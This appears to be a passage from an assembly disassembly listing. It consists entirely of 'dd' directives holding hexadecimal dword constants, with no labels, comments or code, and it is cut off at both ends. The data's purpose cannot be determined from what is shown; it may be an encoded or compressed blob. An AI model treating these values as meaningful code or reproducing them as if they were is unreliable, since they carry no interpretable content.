2C67275Ch, 195038h dd 0B34FED8Bh, 2F588D83h, 93747501h, 6B5EC45Dh, 3FD270E0h dd 0C05090ECh, 0ED7F0096h, 0E5072E89h, 5100057Bh, 33605BEAh dd 81B08Eh, 3536F232h, 0C7977C70h, 51D32B00h, 0EBF08AC2h dd 0E4DD0080h, 4E312F27h, 560E1C11h, 28BFA9h, 0C6EC3778h dd 54950049h, 46BCB11Bh, 94012A5Eh, 794EF1FBh, 0EAF8D571h dd 85C010Eh, 9D326849h, 779C2031h, 245AC13Dh, 0D20024C8h dd 4EA83086h, 0EEE80BFDh, 0FD03B46Bh, 5A8892AAh, 965A4C18h dd 0D525E840h, 3E8BD52h, 3CF72A50h, 48737644h, 0E24E0900h dd 0A167FD34h, 25B4004Ah, 59A6E5D4h, 0A3FE523Fh, 769B6424h dd 0D300F62Ch, 8F7B2821h, 0D976001Eh, 248178FCh, 0A90E12CDh dd 0EF75CFD0h, 0D520C389h, 0D2C3E8B5h, 4BB4005Ah, 0FF5728F8h dd 26004290h, 0BE8B1DDBh, 75EEAEh, 435D214Eh, 0FE313471h dd 0C6DEC807h, 3A04B6Bh, 0D60D0Fh, 0A5B5FCFDh, 591A9B69h dd 0B1E57300h, 46A767A3h, 0A0BC00F2h, 0CE62C51Ch, 0FA00EB01h dd 0B51ACC31h, 0BB2F5Eh, 2ECB6A08h, 368B166h, 0A428C700h dd 0F170D5B4h, 9DDC00BAh, 2FFCE434h, 9600615Eh, 0C8408D1Ch dd 1F2560F3h, 0BDD9AAh, 0B5CF7CB4h, 522402F8h, 6200C45Eh dd 0B1ACB9EBh, 0EF181D73h, 0C75440DBh, 69886803h, 30CCF401h dd 8A6236A1h, 0A949AC40h, 0FF72045Ah, 80B8CE24h, 39F6C593h dd 34585F00h, 0F41CBE30h, 436E0064h, 0A1A8249Eh, 7F00DC71h dd 0D165A34Ah, 0F167C03h, 7680FBB1h, 470FF2E7h, 3A487007h dd 670025E6h, 0C41457A4h, 9EBF9Ah, 75BEFAB1h, 76BDE222h dd 8185A900h, 0A68688FFh, 44D4008Dh, 13B7DACBh, 68E4075Ch dd 0E550350Fh, 0E81600D7h, 0FEA20431h, 79400B5h, 0BD2330F8h dd 742649E2h, 2D07F395h, 0A860803Ch, 93DE24h, 0D092A26Ch dd 0BD8C8E20h, 0FF4E7900h, 7A3C4118h, 62B51361h, 25C8077Ch dd 9740304Fh, 18015950h, 0E36FC3DBh, 1C303241h, 31EC78h dd 0D56B21F0h, 64A21D68h, 80147A3Eh, 0DFCEF1B8h, 325DDFDh dd 0C1CBAE24h, 5FC18E9Eh, 646AD859h, 0F5CD9D39h, 0DF004498h dd 965B07BAh, 1D41C4FEh, 4062F19Eh, 500CB317h, 0DD0F94F7h dd 2065D7B5h, 866A9910h, 989E7C7Fh, 34D2009Fh, 54A77ED0h dd 0D8A35B72h, 0E05AE1C8h, 0F38E4700h, 0DEAAC5D4h, 0B0BFA1Eh dd 0D1EB48EEh, 3CB9000h, 8C0091FEh, 32E5585Dh, 0C79D2C60h dd 0A07E9056h, 0B2CB3CC4h, 8E07B898h, 0C697C00Eh, 7377AF20h dd 1B1107D0h, 10406589h, 3E472E56h, 8060253Eh, 1F0EB397h dd 7526890h, 50E05EF9h, 324B80C8h, 541407A0h, 0A0D456h dd 7884DBE2h, 526CECCh, 0A89DEA77h, 4BD500B1h, 0A3CA182Eh dd 2458FA58h, 0FE18A952h, 71273FDCh, 3DCB816h, 2DDB2E02h dd 93E09DF6h, 1E188BAFh, 0A4AEA270h, 0C834099Eh, 90A051AAh dd 0FF7E4E55h, 4823890Ah, 0B4008582h, 6D29543Fh, 1E97032h dd 6428B247h, 3017D813h, 22002C9Ch, 0B8C625Eh, 3609FEh dd 9CF3B54Dh, 254E53CEh, 9083E902h, 60919ACBh, 1AFA544h dd 8C3B7BBFh, 40D429ADh, 0A4EFA3E0h, 0E8323900h, 1F42143Ch dd 0F0BC1EFFh, 8A2FC0CBh, 2DBBB9DAh, 7D0F07F2h, 40B189ECh dd 10C9DC2Ah, 7FE23C6Ch, 0A069E100h, 6D7B7C54h, 5E1D3401h dd 923E8F9Eh, 78F58020h, 0F22B0024h, 0BB6791Eh, 3F3F91E5h dd 0FFD4030Fh, 0F3223C20h, 77D2078Dh, 0E0CD5E19h, 79B598FDh dd 0A4DFE200h, 866290DEh, 0D392005Ch, 9C1469D1h, 651E3427h dd 2FC136A0h, 9BAE5DCh, 82DFD4h, 0DD3A3D46h, 8F30ED49h dd 0C200F87Eh, 4D0CC486h, 2EF7D324h, 9699F2h, 39F8C994h dd 0D8030784h, 0DA7E4133h, 2FC08C37h, 3811FED0h, 0EE0062A4h dd 8E1008BDh, 0A87A0D05h, 96B52600h, 1FCC914Eh, 0AA3A0071h dd 2AF3E416h, 0E91CC80Ah, 39473B03h, 52E0F6C7h, 0F89073Dh dd 55823B8h, 8ADF85E0h, 0F52ABA18h, 0AD04FC67h, 0B37A3D78h dd 88D07BC3h, 7BBD426h, 24902EFFh, 15A7F036h, 483DD10Eh dd 125301AFh, 9228084Dh, 2D9030h, 0D62711E5h, 7687858Ch dd 675D6F01h, 1205E0D1h, 3BDF4D8h, 2865B7ECh, 0BBE87A4Eh dd 5C1316A6h, 0C4206CDCh, 0C0C139B0h, 8B5F5E19h, 339059ACh dd 4C37D100h, 7E6C0E4Bh, 0A66F008Dh, 0B09264C7h, 98008B1Bh dd 93E5F630h, 3EC80F54h, 0ECD8A0E0h, 0A1030773h, 35284AC0h dd 601C90E3h, 3401C5F3h, 41EAA4C1h, 0DC60535Ch, 0F9E300DEh dd 6CB08CE2h, 9A004F27h, 372E993Ch, 0F882C0Fh, 3A60593Fh dd 0EF7CF620h, 2B005F97h, 848CD329h, 905B57AFh, 7AEC021Ch dd 46EA2F36h, 0C048AC40h, 0C600EFFEh, 2C40291Fh, 28606EC7h dd 803F50h, 0D89502CCh, 0AA0ECE34h, 0E1A84000h, 0A0886205h dd 1A0D002Bh, 3A1B4B6Eh, 0CE00E204h, 97BDDCD7h, 0FD32170Ch dd 0E795E0h, 7A184093h, 5B0BE29Ch, 0C9548CA0h, 565CF0F0h dd 0CBE500DCh, 58F6504h, 2F8E0476h, 0AB1ED8CDh, 0F382E8C1h dd 0E800883Ch, 0BDE9477Eh, 0FD581D3Eh, 80583B10h, 0C18C28D2h dd 3D27F7FCh, 0AC4D6A8Bh, 0B069DB00h, 0CFD993Bh, 5200E9FCh dd 7EBB2BC9h, 34A7ABh, 0F0A2A92Eh, 4FAD979Ah, 20719C01h dd 0B6842D21h, 419480EAh, 508B75h, 0A08CCC13h, 0E26FA1C5h dd 0B3C8B600h, 1F2C732Fh dd 19B40032h, 0CEEC749Ah, 0DF05861Ah, 0C2FABF41h, 2CE074B0h dd 16E8A57Fh, 460C007Bh, 1EACB64Bh, 0B8E2F0FBh, 0F27F4F00h dd 21A0C52Ch, 6CA43A5Ch, 5819E180h, 0F460F909h, 2E302DE4h dd 46515C9Ah, 0F05C4C72h, 92A00E00h, 8FAFEE9Dh, 0B9B05Ch dd 3D485F47h, 476291Eh, 2ABF406Dh, 0F0E8F0BAh, 0B70930B8h dd 80690FB1h, 0FED570A0h, 1C347C73h, 0C0089E1Ah, 5EEB50B3h dd 1003D1CFh, 67C0BBAAh, 0C11BA2E6h, 56C0D447h, 0B04E0042h dd 0F0A50A58h, 5500368Bh, 5BAE31A1h, 375AB7h, 0EF64948h dd 33AFBF10h, 34074775h, 98CD73F2h, 0AC97C840h, 3E39014Eh dd 0ADFD42F1h, 9FBE807Ah, 8A9AA5B9h, 7766798Eh, 553200DCh dd 75118687h, 5738E16Bh, 0E40B804Eh, 51D1DF78h, 0FA76006Ch dd 9A79E22Eh, 0F0B8F4Ah, 0E7C43Bh, 4BEB510h, 0C628C00Dh dd 0EAE888FDh, 6B7B9C00h, 4368B98Ah, 76F9002Dh, 77C8AB1Fh dd 42FF042h, 0DA3C829Fh, 48FD804Bh, 0E6A0A2h, 46808219h dd 9FB4EBC4h, 7D406700h, 4B5B56F2h, 89D73D42h, 64804DBDh dd 186EAB0Ch, 5200B3A6h, 5BDD5C34h, 1FB01520h, 0D6A3FC28h dd 0E57840EDh, 0EF67D79Dh, 0FB91AF00h, 9268D842h, 22483E9Ch dd 14351812h, 5E0028FCh, 4A781E3Ah, 0C80024FEh, 92CB3E19h dd 6C3253h, 2C9EBABh, 4A5076B3h, 9A3CAF07h, 4E24E05Dh dd 0DCF4A0h, 9D9C19D9h, 3EBC914Dh, 0A42F6700h, 37B88A51h dd 0C7CA00E7h, 1E169FAh, 8398F60Bh, 743A6A00h, 2B443684h dd 0F0BB2710h, 0C3712C83h, 5F8F19E0h, 1AD3E016h, 6677D700h dd 3B648Ch, 0C7CCCB17h, 3101D8E6h, 1BC88160h, 802D1Ch dd 5E92736Dh, 0AE76F296h, 55493F12h, 0B10E5400h, 1836FEB5h dd 4EB337A1h, 76050987h, 90490B43h, 0F4F8EC00h, 98A34457h dd 3AD639A0h, 29A6B283h, 0B1C01C05h, 50000431h, 0E8377B51h dd 2D55FF6h, 7F751981h, 0B3E02111h, 0EA00590Ch, 25BF295Ch dd 1776E002h, 985F36h, 387A939Dh, 0C8070DEFh, 7BFC0850h dd 0F6B51B20h, 828500EAh, 5FB79414h, 0D494A09Ch, 4A1D5C00h dd 42C97Dh, 6C82D528h, 0C8B20B17h, 0C0546400h, 58CBAC80h dd 68300A9h, 358C8982h, 0FE024385h, 6A93AA02h, 0B21CC0B4h dd 127FA6Eh, 67B5AFE4h, 206DAE23h, 3A03122Ch, 0BCC7B034h dd 0AC418080h, 9B7F16h, 0C091FBBEh, 924185Bh, 3693A900h dd 0B7CD783Fh, 0B4FFF61Bh, 65330FD0h, 242C9760h, 0DE00635Ah dd 0A1EA64F4h, 0FA6836ABh, 0E0A20014h, 0D901F58Bh, 0A03EDA91h dd 629482DDh, 805E6E3Fh, 73218DD8h, 0E19A0095h, 0ACFF7FA5h dd 65010880h, 6826F88h, 55E8FD72h, 0EF3D0EBCh, 0C6E09B44h dd 0E246F9CAh, 0BF641500h, 0D08AE9CDh, 0FEAF0059h, 0AD5508DFh dd 0F600E03Bh, 8E24E1B8h, 7654BEEh, 726AD164h, 0CB40D0EAh dd 0C972C375h, 7FCF5B3Eh, 0A0025DF2h, 40B47168h, 4E4C4080h dd 54490FFFh, 3E7D07DAh, 4A9EC580h, 0D0E961C1h, 15417300h dd 3F6FC2A3h, 2F630EAFh, 18C0A5F5h, 0F0237B2Ah, 9C48BF00h dd 0A2046DBAh, 0FFE90060h, 0CE202202h, 0B1039F93h, 38D1EB6Ah dd 0CCD4887Ch, 0C997975h, 0B34C8F62h, 0CF4FED68h, 70F90CD0h dd 0B8EA2C2Dh, 0A4F4017Ch, 439C32D5h, 0A1A9D4C8h, 0ECABE442h dd 0A00DA327h, 7E93DC20h, 0E3A00091h, 11D31BEEh, 1CE0EF1Eh dd 99329A03h, 0D0ED3D2Ch, 579298h, 0E0A7836h, 3C6A16C7h dd 5E187300h, 0B6C88252h, 432E0344h, 25CCF8BFh, 0FB4A980Eh dd 100F0E6h, 8FB17295h, 1B00E1E0h, 5088791h, 9F218ECh dd 0B386D736h, 30C3FF86h, 0E181E5Ch, 800346E2h, 0DA7E242Ah dd 96430F77h, 0CB00F0D4h, 452FEBFFh, 0FEB8E600h, 0C8F69A6Ah dd 7312015Ch, 0FCCA7849h, 0CFBBF109h, 5F1C1AE8h, 41A57A0Fh dd 0F1D3E3C4h, 9F6B98EAh, 2A202CEEh, 24621E41h, 0FB7B01ACh dd 0F4559154h, 0D11B1E8Eh, 0E8886DADh, 2D4EBE0h, 0A53BAE62h dd 3CEA9507h, 0AC47D300h, 97034AA1h, 3C4BD089h, 0C5D003C2h dd 86DBCFDCh, 307A3AE1h, 76072060h, 37D8B594h, 482D1C0h dd 531E0308h, 0EB2538D5h, 8F222190h, 141DFC2Ch, 0E1768B3Ch dd 43388013h, 0C558A2h, 59349B25h, 0A9CB8F93h, 0AAD99801h dd 86B43EACh, 4E07EE8h, 0B68C2030h, 144A935h, 6A3201BCh dd 0A081BE84h, 0D170CA90h, 0C5A4F8B0h, 364F3D00h, 97411B9h dd 77723CE3h, 0A3467500h, 9CA41992h, 1A9A821Dh, 27B94840h dd 1C1FBDh, 0FF86BD0h, 0E14C0A67h, 5804775Bh, 6C90B5A3h dd 1CCF11h, 0F0D19790h, 52552B31h, 605C4900h, 1D963DEBh dd 89380001h, 0FF24F128h, 80016C1h, 6BD1DB26h, 0EAD676ADh dd 0F4C87E14h, 174E0F5Ch, 87A55A22h, 0B75C81F7h, 20283189h dd 0EC007707h, 222B29F1h, 1ED1E59Bh, 87CCA74Bh, 0D05BB871h dd 0B4DA8688h, 8ED42B03h, 98D84091h, 98C8FCh, 0DD0746EBh dd 15060FE5h, 1E698F1Fh, 0B2D90E8Fh, 0A6F4B0h, 135C1CF0h dd 0DAC012A5h, 9200DEF0h, 70B85337h, 77AB5EAh, 47429BA9h dd 0D80C91Ah, 91BB1E25h, 39924100h, 672169FEh, 0C1F3013Eh dd 8818393h, 0C0EADCC2h, 0B7A66600h, 0A1844ABh, 9FA10069h dd 3B7C9A47h, 5C0BC734h, 430D2F83h, 973C804h, 81FD006Bh dd 1D57EAF7h, 0E6000E60h, 3FB14AEDh, 526BA1Ch, 77B3A720h dd 7028C013h, 0C20125B5h, 930384A2h, 8BD43FEDh, 0FB12009Fh dd 3C285B6Fh, 5400BEAEh, 3B797756h, 3B733B4h, 1769E257h dd 63B09FBCh, 0EB78D897h, 87928E02h, 40E5129Eh, 4E61459h dd 1C6AF084h, 0B802C442h, 580900C8h, 0A51110BFh, 0B460F1F6h dd 73620042h, 0D165FB53h, 3801ADB8h, 0C5363BFFh, 68D2E086h dd 4820492Ch, 0F000CC80h, 2B3C331Ah, 77018263h, 0A6FE1417h dd 62CC0853h, 0C2E200CFh, 0C354BDD1h, 9DB8A2h, 45A8B6FCh dd 81E100A6h, 2C891E76h, 0A000FFADh, 328DEE49h, 5F41773h dd 0EBFE3C94h, 6EB880C6h, 1F8C515h, 4D16757Fh, 0D30BE442h dd 722C8060h, 266A02F8h, 42E81467h, 866E411h, 0C173B200h dd 0FEA93E03h, 0C8D6A055h, 0DE9D0F53h, 0B2E46Bh, 65A12D60h dd 3A00F2E7h, 5C7ECE18h, 199FCDh, 17C3F745h, 226130B9h dd 0E7EB5E00h, 0E666FACEh, 28989Ah, 7AE80C08h, 0E5133DD7h dd 0B83EB400h, 8E2F0EAEh, 0F9D80177h, 0CF5357ACh, 637080D6h dd 0EBEA3690h, 0B662006Ch, 749FCEF9h, 0C1000EC6h, 0CF3674Ch dd 0C93D41h, 725DB0EDh, 4DFDE742h, 8E5C4709h, 0BB94006Dh dd 3AD3F164h, 4006345h, 1E5E4BDAh, 310C7CBDh, 58B84FEEh dd 750300C7h, 0FB898E1Ch, 0FD7F352Bh, 0F9486D71h, 0D4290003h dd 0C76EDBCEh, 55FC8Eh, 0AAC770Ch, 19E8CC40h, 0CE010B00h dd 0D2BB8D97h, 612D0418h, 0B8DFC14Eh, 0A9A00B0h, 561235FBh dd 5BBD0016h, 0BB18F64Dh, 8B28DB9Dh, 0B24CC2D5h, 0FC81240h dd 3BE4B880h, 9681003Ah, 992CD72Eh, 1D00FD22h, 118C39Ch dd 0BC28B3h, 0EBA1251Ch, 0F9616419h, 0B8ACCF02h, 40FB5D6Ah dd 32F1300h, 688EFEADh, 9AC0AB0Ch, 4E3DD1D8h, 9187004Ch dd 67840A5Fh, 9B4901ACh, 253DEDC7h, 0EB21C444h, 5A8F601h dd 0C2326531h, 175256C8h, 0B150CD7h, 0B0806BD7h, 78923814h dd 710AEF00h, 4CD4FC99h, 21B100B5h, 9E3FF847h, 0C00E42Bh dd 9A76DD32h, 0CB336Ch, 28A97F85h, 0F7F34359h, 1D97E307h dd 99F05FDDh, 480B5Eh, 0B34A17C2h, 0D5C46A1Bh, 0F3295007h dd 0B591BE57h, 0BEC49BAh dd 0BBD80016h, 0AE4493EBh, 0E01CFD9Dh, 3D8076F0h, 0DBAC0748h dd 0C4425820h, 0AF9AFB00h, 0FED7596h, 0CFBC8C00h, 0FDE97383h dd 242EAABh, 0F7CE02FEh, 84EFB475h, 0FCB6F00h, 0CD84F4h dd 5DB9B8C7h, 1B65FD14h, 809D9BF6h, 6D232428h, 0DECC0927h dd 0AB033AD4h, 0A098E3C9h, 99056A61h, 9AEDAC90h, 9256BFC0h dd 1757AAFh, 0C9BB34BEh, 6089DB7Dh, 2A3FF302h, 876100CBh dd 3DFE2526h, 5D7B3D69h, 0C70913h, 0DC7EE7DDh, 0BA0732E0h dd 0A1803CC6h, 18289650h, 11073822h, 7F87E83Bh, 0F08E8814h dd 27F8ACFBh, 0D498849Ah, 2D6F7300h, 39340296h, 0DAF30075h dd 0AE8CB72Ch, 4A005B44h, 46E3E7DEh, 50770A7h, 0B234085Eh dd 9A20C22Ch, 11A6B660h, 6F611D18h, 1C25A520h, 80DA5502h dd 432CF62Fh, 0DB67B385h, 0F5702230h, 16470B0h, 0D0539C3h dd 0C3A4BF56h, 78C1B012h, 1F0C4E0h, 70C8D509h, 0DC69B320h dd 850596E1h, 0C9CF3C0h, 5600ACB2h, 38DBEA7Fh, 18B8E575h dd 0AE80B09Ch, 4240F60Ah, 10AF003Dh, 544B90CAh, 954C19CFh dd 0AE007B8Ch, 0DAB7831Dh, 7424FE94h, 61310F47h, 0EB606F9Dh dd 0A5A9A6E1h, 60C20203h, 0D9293C2Eh, 2F203804h, 0BF6806CFh dd 103B2196h, 764FE93Eh, 0CCEE7507h, 5940F25Fh, 97C6A2C0h dd 0B10097D8h, 924F89F9h, 5F517850h, 84003B6Dh, 0D330CF08h dd 75040247h, 0BF06177Ch, 2E1144A0h, 6F94CBBDh, 23EF8860h dd 600008F8h, 78FDC5FCh, 302F4F2h, 977BAADh, 5E8881D1h dd 0F709EF3Fh, 0D8A8F311h, 7EE90014h, 5B5A5647h, 93005E10h dd 7D928284h, 80DBA4h, 30897908h, 9B879C06h, 0BE864600h dd 62B5B45Bh, 0B9D40170h, 27EAE713h, 88F04015h, 5C00C898h dd 71FAA3E9h, 0F228658Bh, 5080B75Ah, 0F2E8820Eh, 34DB5D0Bh dd 3BDC807Ah, 0F35DC70h, 9A1F4F7Fh, 1A33B640h, 6A00F5E2h dd 81CA6BF3h, 380DEEBh, 0B454D9DAh, 7DC8271Fh, 0C90099C0h dd 4DD4484h, 0F9D15Bh, 2119929Dh, 0CBA08917h, 15AFDB01h dd 7CED70D3h, 0D704043Fh, 4CCCD17Fh, 886EC0CEh, 94ACB700h dd 9C6D1B5Dh, 0FEF500AEh, 0A1711C07h, 0DB7426B1h, 0C3C1AF6h dd 0E04C9Ah, 0D84487BFh, 740D4DCh, 985C615Fh, 0B820D44Fh dd 59A700F4h, 0BDB9A1EFh, 1EA4BEDDh, 5E77404Dh, 8C85703h dd 9A755003h, 0D891F4DAh, 66FB0C3h, 49BFAFAEh, 4107B1D3h dd 5D7EDB05h, 3F520710h, 1202F85Fh, 0BA1886h, 6A486E8Ch dd 0D600322Dh, 76DCD457h, 3E96F265h, 450001BDh, 809F92C6h dd 850747CAh, 2B26FA28h, 58B9F300h, 0F9510761h, 5082C938h dd 4C0A46E2h, 0C0FDE427h, 0D3AC88h, 20FF27D8h, 11745ACDh dd 4AC17100h, 15F4954Fh, 52050055h, 0FD0F02FFh, 1F1D3C1Eh dd 12C090E5h, 0B7F9114Dh, 0EC4B17h, 0FF5AA530h, 0E800AE88h dd 428C5D2Fh, 9D33A08h, 5CC56318h, 0F5C2F820h, 0D0034F7Eh dd 0E2A22D9Bh, 6187DF2h, 0C9FCD9BBh, 520010EFh, 4B199169h dd 372EBAh, 0ECF38FD0h, 586AABA3h, 6E35E8F9h, 0DC345C00h dd 2DD59DE4h, 5A220FAFh, 10E1B244h, 38521F16h, 0D21B0730h dd 34F3888Ah, 706BC80Bh, 28B00083h, 71E758F1h, 2501D760h dd 0F0D37339h, 94306124h, 5AB71D5Eh, 0DC7649C5h, 7D290403h dd 0F354C1C0h, 0D12F2C04h, 54C3C907h, 7684C033h, 933F06F7h dd 101D61DDh, 943D0571h, 5D5C87B9h, 6E07334h, 0E93E75h dd 0A0136BB4h, 0CD358B60h, 3CF61400h, 2DDA871Dh, 6DF2C5h dd 0B745ECFCh, 66A0AFB4h, 40903458h, 9F0260DEh, 767E709h dd 1576C06Ch, 2CB100E1h, 0C21B902h, 0BA00AA69h, 0C2E585E7h dd 0B5E6CBh, 0C0B08F15h, 8E646242h, 1F563F3Bh, 0E842B93Bh dd 0E072BA2Ch, 0A8DE43h, 56D18899h, 1FE08B40h, 49007979h dd 63A74FD6h, 342522h, 4B9B9769h, 14F787ACh, 38288B60h dd 0AB1B67h, 7DD01753h, 0B0332410h, 0B506E800h, 0BD236BFFh dd 9DA500E3h, 0F0DE661Fh, 890035E4h, 0EAFA1E1Ch, 8B0B17h dd 18F148BBh, 39E1E0A9h, 0DD58EE1Dh, 319D90C1h, 0E06B19DBh dd 50003DEh, 4ED0E5C3h, 33BC9CDh, 597658E0h, 22E8DC44h dd 7800A9ABh, 0B75D719Dh, 0F2B124h, 0F5F70E5Ah, 38B829D1h dd 5F0F3207h, 69BF15h, 76CF04F3h, 588CECDAh, 231F8651h dd 1A27003Dh, 69A4EC64h, 2F495200h, 0C1377104h, 0A0110312h dd 0FF26686Ch, 65B42E80h, 7C916D00h, 0E024EC71h, 0C2A71FC8h dd 1C04E3Ah, 0ABE7D080h, 9C00A067h, 7846A10Dh, 0C8FD7D6h dd 0F788A75Ch, 3FFE6980h, 0B5586600h, 0AB0A49EDh, 0C5D700BAh dd 0F0FA2AE5h, 67016EB6h, 0B46234CCh, 5CF0D348h, 0AA70022h dd 0DB1F8A8Ch, 23007E10h, 1E03C4Bh, 0E614605Dh, 0EC6B3E0Bh dd 0E10D0600h, 0EFD41883h, 0EB161C00h, 0ABF53086h, 0DF733A68h dd 98C03981h, 803E8815h, 5927C658h, 1C64D599h, 80BB4316h dd 0B35FC147h, 6000879Fh, 0DACA4598h, 38C3F877h, 0AF816B9Bh dd 1C5F3DF1h, 1B66F40Ah, 8908D00Fh, 1896205Ah, 7C0D738Ch dd 2FA701C5h, 0F067549Bh, 0CA8F017h, 294E5830h, 0F7D690h dd 0E62DA2E3h, 0DBC5F359h, 4C77D800h, 2029FE69h, 5DE41342h dd 0F42B0056h, 797B8A2h, 912AFF1Fh, 2002608Fh, 0E88E41Dh dd 0B05EF8B7h, 3E6F1FF6h, 4CE9C0E2h, 0B09E3FF6h, 48DBA809h dd 793020DAh, 39F99D8Ah, 0C70E5D28h, 0A540E395h, 60B2789Ch dd 41DCFB00h, 0ABEB1D76h, 590B082h, 380B7331h, 0C5EE8037h dd 6603BCF7h, 0C6946813h, 153180DCh, 0B56A500Ch, 480A0074h dd 0A9902757h, 3A0CE17Ah, 80DAA721h, 176300B4h, 2AEC9E98h dd 7D0081ABh, 0C61B4509h, 27D55087h, 0FB76A3B3h, 0FEF11600h dd 72438AFh, 0BB7CD6E7h, 49CFF019h, 214C201h, 1B007C4h dd 0F3BD8422h, 802F1698h, 0B4ABBE92h, 2ED3DF16h, 0C2B65300h dd 923FF3h, 0C7329BDh, 6171A02Dh, 9E6E5400h, 0BB0A05C0h dd 8AB51866h, 9D58D996h, 6699A00h, 949036D5h, 85EF0035h dd 0F481F87Fh, 62007D49h, 5B4C26B6h, 0AEC50CEh, 660BE3C3h dd 0C04400DCh, 0F0664C2h, 2131EE00h, 0EC7BBC1Ch, 4B9A1C0Ah dd 25C7803Fh, 3401A1FCh, 941EAF00h, 10FAD23Ah, 2198008Ch dd 97266EBFh, 0D42611A7h, 0E41E484Eh, 65FD0478h, 0D0803EA6h dd 1F993BECh, 80E78C75h, 0A76B81Fh, 6139F453h, 6EF900D2h dd 1869AA07h, 73E223h, 0BE8E2B2Eh, 7F5251FEh, 483180F9h dd 3125CC0Fh, 0DD50009Ah, 2C5B6293h, 87008FDEh, 65D0341Fh dd 0C87810h, 0A279DC0Bh, 0D2A173E5h, 0F0D63E00h, 48FB6D29h dd 5057048Ah, 919D9A28h, 0EC371564h, 9C3C624Ch, 0CF080174h dd 85E8C657h, 3CA8F4h, 32F2D37Dh, 0E6DE96A9h, 0CF00B7F4h dd 454E54B0h, 774715h, 0B45870C0h, 0CE924FE5h, 755A0A07h dd 1A90822Bh, 736B3B20h, 48B77110h, 0A6809CC2h, 17F91B2Ch dd 0BFEB200h, 0D8A792F2h, 0F930786h, 600C9F59h, 65E4D923h dd 6F9E311Ch, 0F4A35084h, 0AEA47887h, 792E00C0h, 0E6B6009Ch dd 0EFF702E7h, 8C133A13h, 6400AB07h, 4E06504Ch, 109460C0h dd 13F89D36h, 0A873DE13h, 0C2995401h, 0DFDC425Dh, 9CF430h dd 0C2D809Bh, 0F345FC39h, 0AB593D03h, 0F0D9621Fh, 7B805DDh dd 1E7977FFh, 418953D5h, 7FC2E7C8h, 0B7696000h, 0BCC9ABB0h dd 465C007Eh, 84AF62F5h, 2E004E8Dh, 325AC286h, 0BA3525E8h dd 0F2EA00DEh, 79A985AFh, 727BD50Bh, 13170400h, 8263F8DDh dd 5C01000Ch, 4CC0B559h dd 0BE5AAE84h, 0ECD3F0h, 8B86F8FAh, 0FE1E5516h, 0F722360Fh dd 4AD280AAh, 0DA1754h, 0FB773431h, 0A6C2139Ch, 0E51D46FEh dd 0FE40D755h, 3692667Ch, 0AC210078h, 54203F48h, 8D073CE3h dd 0AF1A9D4Dh, 37FA61C1h, 0E0D3BFE1h, 900E408Eh, 0DC1100D2h dd 0F2C9F31Eh, 71018A28h, 0D8A1F6A9h, 1CC0923h, 0F5721716h dd 7C4D0025h, 0ED6E920Eh, 8B41A600h, 0D1608E6Fh, 0ABBA0943h dd 0AC0316A8h, 0AC86C3Dh, 0F80056B2h, 0E29E6252h, 0CA1ACBh dd 6F41F447h, 8B0A3229h, 0A100E974h, 0AE1D8723h, 5B603h dd 0DEB431B9h, 0FB391C9Ah, 80130F3Dh, 78C8A25Ch, 35EB37h dd 21BC3A7Fh, 6F69896h, 1D6FB207h, 180019FEh, 46E347h dd 8654F957h, 0ABCACEBDh, 0C8E53607h, 3BA0A199h, 5217CDh dd 4EA993F8h, 885A7BAAh, 0FEC06800h, 3DEA1A0Ch, 2940361h dd 0B3084345h, 5F366000h, 7757798Dh, 4B785C91h, 0EF5B0F7Eh dd 71871D75h, 0D6738193h, 5110806Bh, 0FED8A692h, 8C7800F5h dd 496BFB8h, 0BE01C516h, 0F3568387h, 3080C494h, 243F0DFEh dd 84E8C171h, 973CEC06h, 586592h, 80EE7E55h, 887478DAh dd 45E61000h, 2DE073A5h, 71696006h, 0EA9B65BAh, 224C9601h dd 7B711D6Eh, 38F36040h, 42E60018h, 0F7DC1958h, 29C07868h dd 3F51DE59h, 66333BD6h, 0BDC10180h, 0EB2AA7A0h, 0C0D30E97h dd 7748C239h, 153B0FA6h, 0E76037A4h, 9645EE9Dh, 0F6111F00h dd 524BB061h, 683500FDh, 3C8C2749h, 1300D8EEh, 9E87D562h dd 0EC4720Dh, 30EBD7E3h, 9C4419A0h, 0A50021CAh, 8F765224h dd 0ED6693h, 36316941h, 0AD3A3794h, 22AEBE07h, 6EA0F133h dd 56887865h, 4AE40475h, 78046E8Ch, 0B1F83566h, 438933Eh dd 8555C242h, 3D5B7A20h, 78FC0310h, 621C7428h, 8E3108F0h dd 8F1B202h, 218301Ch, 0B63D8B1Fh, 0B4AF8C3Eh, 0D898D147h dd 0C1755009h, 351431C5h, 69064C0Dh, 0C7840D3h, 1C6F50B6h dd 3E90A67Ch, 505687BDh, 87340868h, 0F33FE68Dh, 878E495h dd 47070AF1h, 0C1B5CC79h, 806C2CF4h, 3AFB9910h, 0CAFC6F60h dd 601C2308h, 973B84A9h, 1F089060h, 7C9A8F71h, 0BE8D4123h dd 6203C10h, 109CB204h, 141B5118h, 150808A1h, 77C1C29h dd 0C76E5AA3h, 0B7AFF0AEh, 8361BAAh, 517075h, 6301FCF5h dd 9BF214CBh, 1009EE68h, 0C3D70421h, 1086AD1Bh, 0CFDE128h dd 3872ED00h, 6952103h, 0BC540112h, 3A979DF2h, 0A6418005h dd 639ACE33h, 0C216301Eh, 3C13FD51h, 38381F6Fh, 606B7F51h dd 0BC1D3805h, 48C09ABAh, 0A71C9ED5h, 31E788Ch, 9BCBA860h dd 6176EBF8h, 27AD160Ch, 8D1109h, 1A87EDD7h, 0FEEBF904h dd 1D6D34A0h, 0BC8E4F3Bh, 28588097h, 42D6753Fh, 0D19C0E17h dd 0D48E1CB2h, 0E556409Eh, 89AE63E6h, 0C5181D7Fh, 0C4A9A710h dd 1BEB31D5h, 0CFBE08h, 557F02F1h, 48998C93h, 60D00907h dd 0A737C9Ah, 0D409E700h, 8DFBD568h, 0C5AC0E07h, 0C7C0A876h dd 72F357A2h, 431F9300h, 7134207Fh, 0C4AD5209h, 0C4121302h dd 8C809FD0h, 98CA3F76h, 0E100E8DEh, 1F9B96FAh, 1697E0Ch dd 260D125Ah, 0E0249582h, 0C600A80Fh, 8DDD601Bh, 181C5C49h dd 28559769h, 24FC5640h, 13D2FC1Eh, 0E09ED407h, 7F73B3C0h dd 9238C0BEh, 54630CF0h, 4226E703h, 65C242Dh, 18B60E69h dd 190608BFh, 0CFAB163h, 0BCE30038h, 61305471h, 0E6058870h dd 0A5CE52C5h, 24B41000h, 501F0F53h, 1D4550DDh, 407B103Eh dd 0AEC02527h, 0BE000ACDh, 0D731FEF7h, 0B8582912h, 30B83FEBh dd 1014CE80h, 840F540Dh, 7F45173Bh, 5DABE81Eh, 0D020F500h dd 1C56E998h, 0B38C54B9h, 